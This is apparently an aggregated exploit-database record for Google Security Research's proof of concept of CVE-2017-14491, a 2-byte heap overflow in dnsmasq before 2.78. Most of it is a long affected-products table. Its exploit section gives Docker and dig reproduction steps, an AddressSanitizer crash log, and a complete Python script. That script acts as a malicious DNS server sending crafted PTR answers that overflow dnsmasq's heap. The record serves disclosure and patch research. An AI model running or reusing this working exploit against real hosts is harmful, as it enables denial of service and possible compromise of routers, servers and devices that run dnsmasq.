ID
VAR-E-201710-0645
CVE
cve_id: | CVE-2017-14491 | Trust: 1.8 |
cve_id: | CVE-2017-14494 | Trust: 0.8 |
cve_id: | CVE-2017-14495 | Trust: 0.8 |
cve_id: | CVE-2017-14493 | Trust: 0.8 |
cve_id: | CVE-2017-14492 | Trust: 0.8 |
cve_id: | CVE-2017-14496 | Trust: 0.8 |
cve_id: | CVE-2017-13704 | Trust: 0.3 |
EDB ID
42941
TITLE
Dnsmasq < 2.78 - 2-byte Heap Overflow - Multiple dos Exploit
Trust: 0.6
DESCRIPTION
Dnsmasq < 2.78 - 2-byte Heap Overflow. CVE-2017-14491 . dos exploit for Multiple platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | dnsmasq | model: | - | scope: | lt | version: | 2.78 | Trust: 4.6 |
vendor: | redhat | model: | enterprise linux server year extended update support | scope: | eq | version: | -47.4 | Trust: 0.6 |
vendor: | dnsmasq | model: | lack of free | scope: | - | version: | - | Trust: 0.5 |
vendor: | dnsmasq | model: | stack-based | scope: | - | version: | - | Trust: 0.5 |
vendor: | dnsmasq | model: | integer underflow | scope: | - | version: | - | Trust: 0.5 |
vendor: | dnsmasq | model: | information leak | scope: | - | version: | - | Trust: 0.5 |
vendor: | dnsmasq | model: | 2-byte heap-based | scope: | - | version: | - | Trust: 0.5 |
vendor: | dnsmasq | model: | heap-based | scope: | - | version: | - | Trust: 0.5 |
vendor: | ubuntu | model: | linux | scope: | eq | version: | 17.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts | scope: | eq | version: | 16.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts | scope: | eq | version: | 14.04 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.2.2 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.77 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.75 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.72 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.71 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.70 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.7 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.65 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.64 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.63 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.62 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.61 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.60 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.6 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.59 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.58 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.57 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.56 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.55 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.54 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.53 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.52 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.51 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.50 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.49 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.48 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.47 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.46 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.45 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.44 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.43 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.42 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.41 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.40 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.4 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.38 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.37 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.36 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.35 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.34 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.33 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.30 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.29 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.28 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.27 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.26 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.25 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.24 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.23 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.22 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.21 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.20 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.2 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.19 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.18 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.17 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.16 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.15 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.14 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.13 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.12 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.11 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 2.10 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.9 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.8 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.6 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.5 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.4 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.3 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.18 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.17 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.16 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.15 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.14 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.13 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.12 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.11 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.10 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 1.0 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.996 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.992 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.98 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.96 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.95 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.7 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.6 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.5 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | eq | version: | 0.4 | Trust: 0.3 |
vendor: | slackware | model: | linux | scope: | eq | version: | 14.2 | Trust: 0.3 |
vendor: | slackware | model: | linux | scope: | eq | version: | 14.1 | Trust: 0.3 |
vendor: | slackware | model: | linux | scope: | eq | version: | 14.0 | Trust: 0.3 |
vendor: | slackware | model: | linux | scope: | eq | version: | 13.37 | Trust: 0.3 |
vendor: | slackware | model: | linux | scope: | eq | version: | 13.1 | Trust: 0.3 |
vendor: | slackware | model: | linux | scope: | eq | version: | 13.0 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux workstation optional | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux workstation optional | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux workstation | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux workstation | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server tus | scope: | eq | version: | 6.6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server tus | scope: | eq | version: | 6.5 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional eus | scope: | eq | version: | 7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional eus | scope: | eq | version: | 7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional eus | scope: | eq | version: | 6.5 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional aus | scope: | eq | version: | 6.6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional aus | scope: | eq | version: | 6.5 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional aus | scope: | eq | version: | 6.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server optional | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server for arm | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server eus | scope: | eq | version: | 7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server eus | scope: | eq | version: | 7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | 6.6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | 6.5 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | 6.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | 6.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server tus | scope: | eq | version: | -7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server tus | scope: | eq | version: | -7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server tus | scope: | eq | version: | -7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server extended update support | scope: | eq | version: | -7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server extended update support | scope: | eq | version: | -7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server extended update suppor | scope: | eq | version: | -7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | -7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | -7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server aus | scope: | eq | version: | -7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server year extended update support | scope: | eq | version: | -47.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server year extended upd | scope: | eq | version: | -47.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux server | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux long life server | scope: | eq | version: | 5.9 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux hpc node optional | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux hpc node | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for scientific computing | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power little endian extended update supp | scope: | eq | version: | -7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power little endian | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power big endian extended update support | scope: | eq | version: | -7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power big endian | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power little endian extended update suppo | scope: | eq | version: | -7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power little endian extended update suppo | scope: | eq | version: | -7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power big endian extended update support | scope: | eq | version: | -7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for power big endian extended update support | scope: | eq | version: | -7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for ibm z systems extended update support | scope: | eq | version: | -7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for ibm z systems extended update support | scope: | eq | version: | -7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for ibm z systems extended update support | scope: | eq | version: | -7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux for ibm z systems | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux eus compute node | scope: | eq | version: | 7.4 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux eus compute node | scope: | eq | version: | 7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux eus compute node | scope: | eq | version: | 7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux desktop optional | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux desktop | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux desktop | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux computenode optional eus | scope: | eq | version: | 7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux computenode optional eus | scope: | eq | version: | 7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux computenode optional | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux computenode eus | scope: | eq | version: | 7.3 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux computenode eus | scope: | eq | version: | 7.2 | Trust: 0.3 |
vendor: | redhat | model: | enterprise linux computenode | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | oracle | model: | linux | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | oracle | model: | linux | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | opensuse | model: | leap | scope: | eq | version: | 42.3 | Trust: 0.3 |
vendor: | opensuse | model: | leap | scope: | eq | version: | 42.2 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.7.6 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.7 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.6.10 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.6 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.5.7 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.5 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | eq | version: | 1.2 | Trust: 0.3 |
vendor: | model: | android | scope: | eq | version: | 7.1.1 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 6.0.1 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 5.1.1 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 5.0.2 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 4.4.4 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 8.0 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 7.1.2 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 7.0 | Trust: 0.3 | |
vendor: | model: | android | scope: | eq | version: | 6.0 | Trust: 0.3 | |
vendor: | fedoraproject | model: | fedora | scope: | eq | version: | 27 | Trust: 0.3 |
vendor: | debian | model: | linux sparc | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux s/390 | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux powerpc | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux mips | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-64 | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-32 | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-30 | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux arm | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | debian | model: | linux amd64 | scope: | eq | version: | 6.0 | Trust: 0.3 |
vendor: | centos | model: | centos | scope: | eq | version: | 7 | Trust: 0.3 |
vendor: | centos | model: | centos | scope: | eq | version: | 6 | Trust: 0.3 |
vendor: | thekelleys | model: | dnsmasq | scope: | ne | version: | 2.78 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | ne | version: | 1.8 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | ne | version: | 1.7.7 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | ne | version: | 1.6.11 | Trust: 0.3 |
vendor: | kubernetes | model: | kubernetes | scope: | ne | version: | 1.5.8 | Trust: 0.3 |
EXPLOIT
'''
Sources:
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html
1) Build the docker and open three terminals
docker build -t dnsmasq .
docker run --rm -t -i --name dnsmasq_test dnsmasq bash
docker cp poc.py dnsmasq_test:/poc.py
docker exec -it <container_id> bash
docker exec -it <container_id> bash
2) On one terminal let’s launch attacker controlled DNS server:
# python poc.py 127.0.0.2 53
Listening at 127.0.0.2:53
3) On another terminal let’s launch dnsmasq forwarding queries to attacker controlled DNS:
# /testing/dnsmasq/src/dnsmasq -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv
dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq: using nameserver 127.0.0.2#53
dnsmasq: cleared cache
4) Let’s fake a client making a request twice (or more) so we hit the dnsmasq cache:
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
5) The crash might not be triggered on the first try due to the non-deterministic order of the dnsmasq cache. Restarting dnsmasq and retrying should be sufficient to trigger a crash.
==1159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62200001dd0b at pc 0x0000005105e7 bp 0x7fff6165b9b0 sp 0x7fff6165b9a8
WRITE of size 1 at 0x62200001dd0b thread T0
#0 0x5105e6 in add_resource_record /test/dnsmasq/src/rfc1035.c:1141:7
#1 0x5127c8 in answer_request /test/dnsmasq/src/rfc1035.c:1428:11
#2 0x534578 in receive_query /test/dnsmasq/src/forward.c:1439:11
#3 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2
#4 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7
#5 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
#6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)
0x62200001dd0b is located 0 bytes to the right of 5131-byte region [0x62200001c900,0x62200001dd0b)
allocated by thread T0 here:
#0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700)
#1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15
#2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20
#3 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
SUMMARY: AddressSanitizer: heap-buffer-overflow /test/dnsmasq/src/rfc1035.c:1141:7 in add_resource_record
Shadow bytes around the buggy address:
0x0c447fffbb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c447fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c447fffbba0: 00[03]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c447fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1159==ABORTING
'''
#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Felix Wilhelm <fwilhelm@google.com>
# Gabriel Campana <gbrl@google.com>
# Kevin Hamacher <hamacher@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Ron Bowes - Xoogler :/
import socket
import struct
import sys
def dw(x):
return struct.pack('>H', x)
def udp_handler(sock_udp):
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id = struct.unpack('>H', data[0:2])[0]
query = data[12:]
data = dw(id) # id
data += dw(0x85a0) # flags
data += dw(1) # questions
data += dw(0x52) # answers
data += dw(0) # authoritative
data += dw(0) # additional
# Add the question back - we're just hardcoding it
data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' +
'\x00\x0c' + # type = 'PTR'
'\x00\x01') # cls = 'IN'
# Add the first answer
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x04\x00' + # size of this resource record
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x3e' + 'Z'*62 +
'\x0e' + 'Z'*14 +
'\x00')
# Add the next answer, which is written out in full
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x26' + # size of this resource record
'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00')
for _ in range(79):
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x02' + # size of the compressed resource record
'\xc4\x40') # pointer to the second record's name
data += ('\xc0\x0c' + # ptr to the name
'\x00\x0c' + # type = 'PTR'
'\x00\x01' + # cls = 'IN'
'\x00\x00\x00\x3d' + # ttl
'\x00\x11' + # size of this resource record
'\x04EEEE\x09DAABBEEEE\xc4\x49')
sock_udp.sendto(data, addr)
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: %s <ip> <port>\n' % sys.argv[0]
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((ip, port))
print 'Listening at %s:%d\n' % (ip, port)
while True:
udp_handler(sock_udp)
sock_udp.close()
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
overflow
Trust: 1.5
TAGS
tag: | exploit | Trust: 3.0 |
tag: | overflow | Trust: 1.5 |
tag: | denial of service | Trust: 0.5 |
tag: | info disclosure | Trust: 0.5 |
CREDITS
Google Security Research
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2017-14491 | Trust: 2.4 |
db: | EXPLOIT-DB | id: | 42941 | Trust: 1.6 |
db: | NVD | id: | CVE-2017-14494 | Trust: 1.4 |
db: | NVD | id: | CVE-2017-14495 | Trust: 1.4 |
db: | NVD | id: | CVE-2017-14493 | Trust: 1.4 |
db: | NVD | id: | CVE-2017-14492 | Trust: 1.4 |
db: | NVD | id: | CVE-2017-14496 | Trust: 1.4 |
db: | EDBNET | id: | 94395 | Trust: 0.6 |
db: | 0DAYTODAY | id: | 28724 | Trust: 0.6 |
db: | EDBNET | id: | 94654 | Trust: 0.6 |
db: | 0DAYTODAY | id: | 28727 | Trust: 0.6 |
db: | EDBNET | id: | 94657 | Trust: 0.6 |
db: | 0DAYTODAY | id: | 28726 | Trust: 0.6 |
db: | EDBNET | id: | 94656 | Trust: 0.6 |
db: | 0DAYTODAY | id: | 28725 | Trust: 0.6 |
db: | EDBNET | id: | 94655 | Trust: 0.6 |
db: | 0DAYTODAY | id: | 28723 | Trust: 0.6 |
db: | EDBNET | id: | 94653 | Trust: 0.6 |
db: | PACKETSTORM | id: | 144468 | Trust: 0.5 |
db: | PACKETSTORM | id: | 144473 | Trust: 0.5 |
db: | PACKETSTORM | id: | 144462 | Trust: 0.5 |
db: | PACKETSTORM | id: | 144471 | Trust: 0.5 |
db: | PACKETSTORM | id: | 144480 | Trust: 0.5 |
db: | PACKETSTORM | id: | 144479 | Trust: 0.5 |
db: | NVD | id: | CVE-2017-13704 | Trust: 0.3 |
db: | CERT/CC | id: | VU#973527 | Trust: 0.3 |
